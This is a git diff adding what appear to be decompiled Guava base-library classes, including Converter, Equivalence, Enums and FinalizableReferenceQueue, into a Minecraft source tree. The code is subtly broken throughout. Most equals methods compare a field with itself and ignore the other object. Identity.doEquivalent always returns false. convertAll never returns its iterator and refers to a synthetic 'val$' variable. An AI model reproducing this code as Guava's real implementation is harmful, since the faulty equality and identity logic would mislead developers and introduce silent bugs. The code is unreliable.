+  @GwtIncompatible("Non-UTF-8 Charset")
+  public static final Charset US_ASCII = Charset.forName("US-ASCII");
+  
+
+
+
+
+  @GwtIncompatible("Non-UTF-8 Charset")
+  public static final Charset ISO_8859_1 = Charset.forName("ISO-8859-1");
+  
+
+
+
+
+  public static final Charset UTF_8 = Charset.forName("UTF-8");
+  
+
+
+
+
+  @GwtIncompatible("Non-UTF-8 Charset")
+  public static final Charset UTF_16BE = Charset.forName("UTF-16BE");
+  
+
+
+
+
+  @GwtIncompatible("Non-UTF-8 Charset")
+  public static final Charset UTF_16LE = Charset.forName("UTF-16LE");
+  
+
+
+
+
+
+  @GwtIncompatible("Non-UTF-8 Charset")
+  public static final Charset UTF_16 = Charset.forName("UTF-16");
+  
+  private Charsets() {}
+}
diff --git a/src/minecraft/com/google/common/base/Converter.java b/src/minecraft/com/google/common/base/Converter.java
new file mode 100644
index 0000000..ffd2574
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Converter.java
@@ -0,0 +1,493 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public abstract class Converter<A, B>
+  implements Function<A, B>
+{
+  private final boolean handleNullAutomatically;
+  private transient Converter<B, A> reverse;
+  
+  protected Converter()
+  {
+    this(true);
+  }
+  
+
+
+  Converter(boolean handleNullAutomatically)
+  {
+    this.handleNullAutomatically = handleNullAutomatically;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected abstract B doForward(A paramA);
+  
+
+
+
+
+
+
+
+
+
+  protected abstract A doBackward(B paramB);
+  
+
+
+
+
+
+
+
+
+
+  @Nullable
+  public final B convert(@Nullable A a)
+  {
+    return correctedDoForward(a);
+  }
+  
+  @Nullable
+  B correctedDoForward(@Nullable A a) {
+    if (handleNullAutomatically)
+    {
+      return a == null ? null : Preconditions.checkNotNull(doForward(a));
+    }
+    return doForward(a);
+  }
+  
+  @Nullable
+  A correctedDoBackward(@Nullable B b)
+  {
+    if (handleNullAutomatically)
+    {
+      return b == null ? null : Preconditions.checkNotNull(doBackward(b));
+    }
+    return doBackward(b);
+  }
+  
+
+
+
+
+
+
+
+
+  public Iterable<B> convertAll(final Iterable<? extends A> fromIterable)
+  {
+    Preconditions.checkNotNull(fromIterable, "fromIterable");
+    new Iterable() {
+      public Iterator<B> iterator() {
+        new Iterator() {
+          private final Iterator<? extends A> fromIterator = val$fromIterable.iterator();
+          
+          public boolean hasNext()
+          {
+            return fromIterator.hasNext();
+          }
+          
+          public B next()
+          {
+            return convert(fromIterator.next());
+          }
+          
+          public void remove()
+          {
+            fromIterator.remove();
+          }
+        };
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public Converter<B, A> reverse()
+  {
+    Converter<B, A> result = reverse;
+    return result == null ? (this.reverse = new ReverseConverter(this)) : result;
+  }
+  
+  private static final class ReverseConverter<A, B> extends Converter<B, A> implements Serializable {
+    final Converter<A, B> original;
+    private static final long serialVersionUID = 0L;
+    
+    ReverseConverter(Converter<A, B> original) {
+      this.original = original;
+    }
+    
+
+
+
+
+
+
+
+    protected A doForward(B b)
+    {
+      throw new AssertionError();
+    }
+    
+    protected B doBackward(A a)
+    {
+      throw new AssertionError();
+    }
+    
+    @Nullable
+    A correctedDoForward(@Nullable B b)
+    {
+      return original.correctedDoBackward(b);
+    }
+    
+    @Nullable
+    B correctedDoBackward(@Nullable A a)
+    {
+      return original.correctedDoForward(a);
+    }
+    
+    public Converter<A, B> reverse()
+    {
+      return original;
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof ReverseConverter)) {
+        ReverseConverter<?, ?> that = (ReverseConverter)object;
+        return original.equals(original);
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return original.hashCode() ^ 0xFFFFFFFF;
+    }
+    
+    public String toString()
+    {
+      return original + ".reverse()";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public <C> Converter<A, C> andThen(Converter<B, C> secondConverter)
+  {
+    return new ConverterComposition(this, (Converter)Preconditions.checkNotNull(secondConverter));
+  }
+  
+  private static final class ConverterComposition<A, B, C> extends Converter<A, C> implements Serializable {
+    final Converter<A, B> first;
+    final Converter<B, C> second;
+    private static final long serialVersionUID = 0L;
+    
+    ConverterComposition(Converter<A, B> first, Converter<B, C> second) {
+      this.first = first;
+      this.second = second;
+    }
+    
+
+
+
+
+
+
+
+    protected C doForward(A a)
+    {
+      throw new AssertionError();
+    }
+    
+    protected A doBackward(C c)
+    {
+      throw new AssertionError();
+    }
+    
+    @Nullable
+    C correctedDoForward(@Nullable A a)
+    {
+      return second.correctedDoForward(first.correctedDoForward(a));
+    }
+    
+    @Nullable
+    A correctedDoBackward(@Nullable C c)
+    {
+      return first.correctedDoBackward(second.correctedDoBackward(c));
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof ConverterComposition)) {
+        ConverterComposition<?, ?, ?> that = (ConverterComposition)object;
+        return (first.equals(first)) && (second.equals(second));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return 31 * first.hashCode() + second.hashCode();
+    }
+    
+    public String toString()
+    {
+      return first + ".andThen(" + second + ")";
+    }
+  }
+  
+
+
+
+
+
+  @Deprecated
+  @Nullable
+  public final B apply(@Nullable A a)
+  {
+    return convert(a);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    return super.equals(object);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <A, B> Converter<A, B> from(Function<? super A, ? extends B> forwardFunction, Function<? super B, ? extends A> backwardFunction)
+  {
+    return new FunctionBasedConverter(forwardFunction, backwardFunction, null);
+  }
+  
+  private static final class FunctionBasedConverter<A, B>
+    extends Converter<A, B> implements Serializable
+  {
+    private final Function<? super A, ? extends B> forwardFunction;
+    private final Function<? super B, ? extends A> backwardFunction;
+    
+    private FunctionBasedConverter(Function<? super A, ? extends B> forwardFunction, Function<? super B, ? extends A> backwardFunction)
+    {
+      this.forwardFunction = ((Function)Preconditions.checkNotNull(forwardFunction));
+      this.backwardFunction = ((Function)Preconditions.checkNotNull(backwardFunction));
+    }
+    
+    protected B doForward(A a)
+    {
+      return forwardFunction.apply(a);
+    }
+    
+    protected A doBackward(B b)
+    {
+      return backwardFunction.apply(b);
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof FunctionBasedConverter)) {
+        FunctionBasedConverter<?, ?> that = (FunctionBasedConverter)object;
+        return (forwardFunction.equals(forwardFunction)) && (backwardFunction.equals(backwardFunction));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return forwardFunction.hashCode() * 31 + backwardFunction.hashCode();
+    }
+    
+    public String toString()
+    {
+      return "Converter.from(" + forwardFunction + ", " + backwardFunction + ")";
+    }
+  }
+  
+
+
+
+  public static <T> Converter<T, T> identity()
+  {
+    return IdentityConverter.INSTANCE;
+  }
+  
+
+  private static final class IdentityConverter<T>
+    extends Converter<T, T>
+    implements Serializable
+  {
+    static final IdentityConverter INSTANCE = new IdentityConverter();
+    
+    private IdentityConverter() {}
+    
+    protected T doForward(T t) { return t; }
+    
+
+    protected T doBackward(T t)
+    {
+      return t;
+    }
+    
+    public IdentityConverter<T> reverse()
+    {
+      return this;
+    }
+    
+    public <S> Converter<T, S> andThen(Converter<T, S> otherConverter)
+    {
+      return (Converter)Preconditions.checkNotNull(otherConverter, "otherConverter");
+    }
+    
+
+
+    private static final long serialVersionUID = 0L;
+    
+
+    public String toString()
+    {
+      return "Converter.identity()";
+    }
+    
+    private Object readResolve() {
+      return INSTANCE;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Defaults.java b/src/minecraft/com/google/common/base/Defaults.java
new file mode 100644
index 0000000..bb9396e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Defaults.java
@@ -0,0 +1,67 @@
+package com.google.common.base;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Defaults
+{
+  private static final Map<Class<?>, Object> DEFAULTS;
+  
+  static
+  {
+    Map<Class<?>, Object> map = new HashMap();
+    put(map, Boolean.TYPE, Boolean.valueOf(false));
+    put(map, Character.TYPE, Character.valueOf('\000'));
+    put(map, Byte.TYPE, Byte.valueOf((byte)0));
+    put(map, Short.TYPE, Short.valueOf((short)0));
+    put(map, Integer.TYPE, Integer.valueOf(0));
+    put(map, Long.TYPE, Long.valueOf(0L));
+    put(map, Float.TYPE, Float.valueOf(0.0F));
+    put(map, Double.TYPE, Double.valueOf(0.0D));
+    DEFAULTS = Collections.unmodifiableMap(map);
+  }
+  
+  private static <T> void put(Map<Class<?>, Object> map, Class<T> type, T value) {
+    map.put(type, value);
+  }
+  
+
+
+
+
+
+
+  public static <T> T defaultValue(Class<T> type)
+  {
+    T t = DEFAULTS.get(Preconditions.checkNotNull(type));
+    return t;
+  }
+  
+  private Defaults() {}
+}
diff --git a/src/minecraft/com/google/common/base/Enums.java b/src/minecraft/com/google/common/base/Enums.java
new file mode 100644
index 0000000..5c3480d
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Enums.java
@@ -0,0 +1,215 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.WeakHashMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+@Beta
+public final class Enums
+{
+  private Enums() {}
+  
+  @GwtIncompatible("reflection")
+  public static Field getField(Enum<?> enumValue)
+  {
+    Class<?> clazz = enumValue.getDeclaringClass();
+    try {
+      return clazz.getDeclaredField(enumValue.name());
+    } catch (NoSuchFieldException impossible) {
+      throw new AssertionError(impossible);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <T extends Enum<T>> Function<String, T> valueOfFunction(Class<T> enumClass)
+  {
+    return new ValueOfFunction(enumClass, null);
+  }
+  
+
+  private static final class ValueOfFunction<T extends Enum<T>>
+    implements Function<String, T>, Serializable
+  {
+    private final Class<T> enumClass;
+    
+    private static final long serialVersionUID = 0L;
+    
+    private ValueOfFunction(Class<T> enumClass)
+    {
+      this.enumClass = ((Class)Preconditions.checkNotNull(enumClass));
+    }
+    
+    public T apply(String value)
+    {
+      try {
+        return Enum.valueOf(enumClass, value);
+      } catch (IllegalArgumentException e) {}
+      return null;
+    }
+    
+    public boolean equals(@Nullable Object obj)
+    {
+      return ((obj instanceof ValueOfFunction)) && (enumClass.equals(enumClass));
+    }
+    
+    public int hashCode() {
+      return enumClass.hashCode();
+    }
+    
+    public String toString() {
+      return "Enums.valueOf(" + enumClass + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T extends Enum<T>> Optional<T> getIfPresent(Class<T> enumClass, String value)
+  {
+    Preconditions.checkNotNull(enumClass);
+    Preconditions.checkNotNull(value);
+    return Platform.getEnumIfPresent(enumClass, value);
+  }
+  
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  private static final Map<Class<? extends Enum<?>>, Map<String, WeakReference<? extends Enum<?>>>> enumConstantCache = new WeakHashMap();
+  
+
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  private static <T extends Enum<T>> Map<String, WeakReference<? extends Enum<?>>> populateCache(Class<T> enumClass)
+  {
+    Map<String, WeakReference<? extends Enum<?>>> result = new HashMap();
+    
+    for (T enumInstance : EnumSet.allOf(enumClass)) {
+      result.put(enumInstance.name(), new WeakReference(enumInstance));
+    }
+    enumConstantCache.put(enumClass, result);
+    return result;
+  }
+  
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  static <T extends Enum<T>> Map<String, WeakReference<? extends Enum<?>>> getEnumConstants(Class<T> enumClass)
+  {
+    synchronized (enumConstantCache) {
+      Map<String, WeakReference<? extends Enum<?>>> constants = (Map)enumConstantCache.get(enumClass);
+      
+      if (constants == null) {
+        constants = populateCache(enumClass);
+      }
+      return constants;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static <T extends Enum<T>> Converter<String, T> stringConverter(Class<T> enumClass)
+  {
+    return new StringConverter(enumClass);
+  }
+  
+  private static final class StringConverter<T extends Enum<T>> extends Converter<String, T> implements Serializable
+  {
+    private final Class<T> enumClass;
+    private static final long serialVersionUID = 0L;
+    
+    StringConverter(Class<T> enumClass) {
+      this.enumClass = ((Class)Preconditions.checkNotNull(enumClass));
+    }
+    
+    protected T doForward(String value)
+    {
+      return Enum.valueOf(enumClass, value);
+    }
+    
+    protected String doBackward(T enumValue)
+    {
+      return enumValue.name();
+    }
+    
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof StringConverter)) {
+        StringConverter<?> that = (StringConverter)object;
+        return enumClass.equals(enumClass);
+      }
+      return false;
+    }
+    
+    public int hashCode()
+    {
+      return enumClass.hashCode();
+    }
+    
+    public String toString()
+    {
+      return "Enums.stringConverter(" + enumClass.getName() + ".class)";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Equivalence.java b/src/minecraft/com/google/common/base/Equivalence.java
new file mode 100644
index 0000000..ddf9ecd
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Equivalence.java
@@ -0,0 +1,356 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class Equivalence<T>
+{
+  protected Equivalence() {}
+  
+  public final boolean equivalent(@Nullable T a, @Nullable T b)
+  {
+    if (a == b) {
+      return true;
+    }
+    if ((a == null) || (b == null)) {
+      return false;
+    }
+    return doEquivalent(a, b);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract boolean doEquivalent(T paramT1, T paramT2);
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final int hash(@Nullable T t)
+  {
+    if (t == null) {
+      return 0;
+    }
+    return doHash(t);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract int doHash(T paramT);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final <F> Equivalence<F> onResultOf(Function<F, ? extends T> function)
+  {
+    return new FunctionalEquivalence(function, this);
+  }
+  
+
+
+
+
+
+
+  public final <S extends T> Wrapper<S> wrap(@Nullable S reference)
+  {
+    return new Wrapper(this, reference, null);
+  }
+  
+
+
+
+
+  public static final class Wrapper<T>
+    implements Serializable
+  {
+    private final Equivalence<? super T> equivalence;
+    
+
+
+    @Nullable
+    private final T reference;
+    
+
+
+    private static final long serialVersionUID = 0L;
+    
+
+
+
+    private Wrapper(Equivalence<? super T> equivalence, @Nullable T reference)
+    {
+      this.equivalence = ((Equivalence)Preconditions.checkNotNull(equivalence));
+      this.reference = reference;
+    }
+    
+    @Nullable
+    public T get() {
+      return reference;
+    }
+    
+
+
+
+
+    public boolean equals(@Nullable Object obj)
+    {
+      if (obj == this) {
+        return true;
+      }
+      if ((obj instanceof Wrapper)) {
+        Wrapper<?> that = (Wrapper)obj;
+        
+        if (this.equivalence.equals(equivalence))
+        {
+
+
+
+
+          Equivalence<Object> equivalence = this.equivalence;
+          return equivalence.equivalent(reference, reference);
+        }
+      }
+      return false;
+    }
+    
+
+
+    public int hashCode()
+    {
+      return equivalence.hash(reference);
+    }
+    
+
+
+
+    public String toString()
+    {
+      return equivalence + ".wrap(" + reference + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public final <S extends T> Equivalence<Iterable<S>> pairwise()
+  {
+    return new PairwiseEquivalence(this);
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public final Predicate<T> equivalentTo(@Nullable T target) { return new EquivalentToPredicate(this, target); }
+  
+  private static final class EquivalentToPredicate<T> implements Predicate<T>, Serializable {
+    private final Equivalence<T> equivalence;
+    @Nullable
+    private final T target;
+    private static final long serialVersionUID = 0L;
+    
+    EquivalentToPredicate(Equivalence<T> equivalence, @Nullable T target) {
+      this.equivalence = ((Equivalence)Preconditions.checkNotNull(equivalence));
+      this.target = target;
+    }
+    
+    public boolean apply(@Nullable T input) {
+      return equivalence.equivalent(input, target);
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if (this == obj) {
+        return true;
+      }
+      if ((obj instanceof EquivalentToPredicate)) {
+        EquivalentToPredicate<?> that = (EquivalentToPredicate)obj;
+        return (equivalence.equals(equivalence)) && (Objects.equal(target, target));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { equivalence, target });
+    }
+    
+    public String toString() {
+      return equivalence + ".equivalentTo(" + target + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static Equivalence<Object> equals()
+  {
+    return Equals.INSTANCE;
+  }
+  
+
+
+
+
+
+
+
+  public static Equivalence<Object> identity()
+  {
+    return Identity.INSTANCE;
+  }
+  
+  static final class Equals extends Equivalence<Object> implements Serializable {
+    Equals() {}
+    
+    static final Equals INSTANCE = new Equals();
+    
+
+    protected boolean doEquivalent(Object a, Object b) { return a.equals(b); }
+    
+    private static final long serialVersionUID = 1L;
+    public int doHash(Object o) { return o.hashCode(); }
+    
+    private Object readResolve()
+    {
+      return INSTANCE;
+    }
+  }
+  
+  static final class Identity extends Equivalence<Object> implements Serializable
+  {
+    Identity() {}
+    
+    static final Identity INSTANCE = new Identity();
+    
+    protected boolean doEquivalent(Object a, Object b) {
+      return false;
+    }
+    
+    private static final long serialVersionUID = 1L;
+    protected int doHash(Object o) { return System.identityHashCode(o); }
+    
+    private Object readResolve()
+    {
+      return INSTANCE;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/FinalizablePhantomReference.java b/src/minecraft/com/google/common/base/FinalizablePhantomReference.java
new file mode 100644
index 0000000..3c57b2e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FinalizablePhantomReference.java
@@ -0,0 +1,44 @@
+package com.google.common.base;
+
+import java.lang.ref.PhantomReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FinalizablePhantomReference<T>
+  extends PhantomReference<T>
+  implements FinalizableReference
+{
+  protected FinalizablePhantomReference(T referent, FinalizableReferenceQueue queue)
+  {
+    super(referent, queue);
+    queue.cleanUp();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/FinalizableReference.java b/src/minecraft/com/google/common/base/FinalizableReference.java
new file mode 100644
index 0000000..d2a27d1
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FinalizableReference.java
@@ -0,0 +1,6 @@
+package com.google.common.base;
+
+public abstract interface FinalizableReference
+{
+  public abstract void finalizeReferent();
+}
diff --git a/src/minecraft/com/google/common/base/FinalizableReferenceQueue.java b/src/minecraft/com/google/common/base/FinalizableReferenceQueue.java
new file mode 100644
index 0000000..28daed4
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FinalizableReferenceQueue.java
@@ -0,0 +1,358 @@
+package com.google.common.base;
+
+import com.google.common.annotations.VisibleForTesting;
+import java.io.Closeable;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.lang.ref.PhantomReference;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FinalizableReferenceQueue
+  implements Closeable
+{
+  private static final Logger logger = Logger.getLogger(FinalizableReferenceQueue.class.getName());
+  private static final String FINALIZER_CLASS_NAME = "com.google.common.base.internal.Finalizer";
+  private static final Method startFinalizer;
+  final ReferenceQueue<Object> queue;
+  final PhantomReference<Object> frqRef;
+  final boolean threadStarted;
+  
+  static { Class<?> finalizer = loadFinalizer(new FinalizerLoader[] { new SystemLoader(), new DecoupledLoader(), new DirectLoader() });
+    
+    startFinalizer = getStartFinalizer(finalizer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public FinalizableReferenceQueue()
+  {
+    queue = new ReferenceQueue();
+    frqRef = new PhantomReference(this, queue);
+    boolean threadStarted = false;
+    try {
+      startFinalizer.invoke(null, new Object[] { FinalizableReference.class, queue, frqRef });
+      threadStarted = true;
+    } catch (IllegalAccessException impossible) {
+      throw new AssertionError(impossible);
+    } catch (Throwable t) {
+      logger.log(Level.INFO, "Failed to start reference finalizer thread. Reference cleanup will only occur when new references are created.", t);
+    }
+    
+
+    this.threadStarted = threadStarted;
+  }
+  
+  public void close()
+  {
+    frqRef.enqueue();
+    cleanUp();
+  }
+  
+
+
+
+
+  void cleanUp()
+  {
+    if (threadStarted) {
+      return;
+    }
+    
+    Reference<?> reference;
+    while ((reference = queue.poll()) != null)
+    {
+
+
+
+      reference.clear();
+      try {
+        ((FinalizableReference)reference).finalizeReferent();
+      } catch (Throwable t) {
+        logger.log(Level.SEVERE, "Error cleaning up after reference.", t);
+      }
+    }
+  }
+  
+
+
+
+
+  private static Class<?> loadFinalizer(FinalizerLoader... loaders)
+  {
+    for (FinalizerLoader loader : loaders) {
+      Class<?> finalizer = loader.loadFinalizer();
+      if (finalizer != null) {
+        return finalizer;
+      }
+    }
+    
+    throw new AssertionError();
+  }
+  
+
+
+
+  static abstract interface FinalizerLoader
+  {
+    public abstract Class<?> loadFinalizer();
+  }
+  
+
+
+
+  static class SystemLoader
+    implements FinalizableReferenceQueue.FinalizerLoader
+  {
+    @VisibleForTesting
+    static boolean disabled;
+    
+
+
+    SystemLoader() {}
+    
+
+
+    public Class<?> loadFinalizer()
+    {
+      if (disabled) {
+        return null;
+      }
+      ClassLoader systemLoader;
+      try {
+        systemLoader = ClassLoader.getSystemClassLoader();
+      } catch (SecurityException e) {
+        FinalizableReferenceQueue.logger.info("Not allowed to access system class loader.");
+        return null;
+      }
+      if (systemLoader != null) {
+        try {
+          return systemLoader.loadClass("com.google.common.base.internal.Finalizer");
+        }
+        catch (ClassNotFoundException e) {
+          return null;
+        }
+      }
+      return null;
+    }
+  }
+  
+
+
+
+
+
+  static class DecoupledLoader
+    implements FinalizableReferenceQueue.FinalizerLoader
+  {
+    private static final String LOADING_ERROR = "Could not load Finalizer in its own class loader.Loading Finalizer in the current class loader instead. As a result, you will not be ableto garbage collect this class loader. To support reclaiming this class loader, eitherresolve the underlying issue, or move Google Collections to your system class path.";
+    
+
+
+
+
+    DecoupledLoader() {}
+    
+
+
+
+
+    public Class<?> loadFinalizer()
+    {
+      try
+      {
+        ClassLoader finalizerLoader = newLoader(getBaseUrl());
+        return finalizerLoader.loadClass("com.google.common.base.internal.Finalizer");
+      } catch (Exception e) {
+        FinalizableReferenceQueue.logger.log(Level.WARNING, "Could not load Finalizer in its own class loader.Loading Finalizer in the current class loader instead. As a result, you will not be ableto garbage collect this class loader. To support reclaiming this class loader, eitherresolve the underlying issue, or move Google Collections to your system class path.", e); }
+      return null;
+    }
+    
+
+
+
+    URL getBaseUrl()
+      throws IOException
+    {
+      String finalizerPath = "com.google.common.base.internal.Finalizer".replace('.', '/') + ".class";
+      URL finalizerUrl = getClass().getClassLoader().getResource(finalizerPath);
+      if (finalizerUrl == null) {
+        throw new FileNotFoundException(finalizerPath);
+      }
+      
+
+      String urlString = finalizerUrl.toString();
+      if (!urlString.endsWith(finalizerPath)) {
+        throw new IOException("Unsupported path style: " + urlString);
+      }
+      urlString = urlString.substring(0, urlString.length() - finalizerPath.length());
+      return new URL(finalizerUrl, urlString);
+    }
+    
+
+
+
+    URLClassLoader newLoader(URL base)
+    {
+      return new URLClassLoader(new URL[] { base }, null);
+    }
+  }
+  
+  static class DirectLoader implements FinalizableReferenceQueue.FinalizerLoader
+  {
+    DirectLoader() {}
+    
+    public Class<?> loadFinalizer()
+    {
+      try
+      {
+        return Class.forName("com.google.common.base.internal.Finalizer");
+      } catch (ClassNotFoundException e) {
+        throw new AssertionError(e);
+      }
+    }
+  }
+  
+
+  static Method getStartFinalizer(Class<?> finalizer)
+  {
+    try
+    {
+      return finalizer.getMethod("startFinalizer", new Class[] { Class.class, ReferenceQueue.class, PhantomReference.class });
+
+    }
+    catch (NoSuchMethodException e)
+    {
+
+      throw new AssertionError(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/FinalizableSoftReference.java b/src/minecraft/com/google/common/base/FinalizableSoftReference.java
new file mode 100644
index 0000000..f5b5329
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FinalizableSoftReference.java
@@ -0,0 +1,42 @@
+package com.google.common.base;
+
+import java.lang.ref.SoftReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FinalizableSoftReference<T>
+  extends SoftReference<T>
+  implements FinalizableReference
+{
+  protected FinalizableSoftReference(T referent, FinalizableReferenceQueue queue)
+  {
+    super(referent, queue);
+    queue.cleanUp();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/FinalizableWeakReference.java b/src/minecraft/com/google/common/base/FinalizableWeakReference.java
new file mode 100644
index 0000000..97f1ff5
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FinalizableWeakReference.java
@@ -0,0 +1,42 @@
+package com.google.common.base;
+
+import java.lang.ref.WeakReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FinalizableWeakReference<T>
+  extends WeakReference<T>
+  implements FinalizableReference
+{
+  protected FinalizableWeakReference(T referent, FinalizableReferenceQueue queue)
+  {
+    super(referent, queue);
+    queue.cleanUp();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Function.java b/src/minecraft/com/google/common/base/Function.java
new file mode 100644
index 0000000..33d18a6
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Function.java
@@ -0,0 +1,13 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface Function<F, T>
+{
+  @Nullable
+  public abstract T apply(@Nullable F paramF);
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+}
diff --git a/src/minecraft/com/google/common/base/FunctionalEquivalence.java b/src/minecraft/com/google/common/base/FunctionalEquivalence.java
new file mode 100644
index 0000000..4bb54fd
--- /dev/null
+++ b/src/minecraft/com/google/common/base/FunctionalEquivalence.java
@@ -0,0 +1,77 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+final class FunctionalEquivalence<F, T>
+  extends Equivalence<F>
+  implements Serializable
+{
+  private static final long serialVersionUID = 0L;
+  private final Function<F, ? extends T> function;
+  private final Equivalence<T> resultEquivalence;
+  
+  FunctionalEquivalence(Function<F, ? extends T> function, Equivalence<T> resultEquivalence)
+  {
+    this.function = ((Function)Preconditions.checkNotNull(function));
+    this.resultEquivalence = ((Equivalence)Preconditions.checkNotNull(resultEquivalence));
+  }
+  
+  protected boolean doEquivalent(F a, F b) {
+    return resultEquivalence.equivalent(function.apply(a), function.apply(b));
+  }
+  
+  protected int doHash(F a) {
+    return resultEquivalence.hash(function.apply(a));
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    if (obj == this) {
+      return true;
+    }
+    if ((obj instanceof FunctionalEquivalence)) {
+      FunctionalEquivalence<?, ?> that = (FunctionalEquivalence)obj;
+      return (function.equals(function)) && (resultEquivalence.equals(resultEquivalence));
+    }
+    
+    return false;
+  }
+  
+  public int hashCode() {
+    return Objects.hashCode(new Object[] { function, resultEquivalence });
+  }
+  
+  public String toString() {
+    return resultEquivalence + ".onResultOf(" + function + ")";
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Functions.java b/src/minecraft/com/google/common/base/Functions.java
new file mode 100644
index 0000000..5eb2fbc
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Functions.java
@@ -0,0 +1,361 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
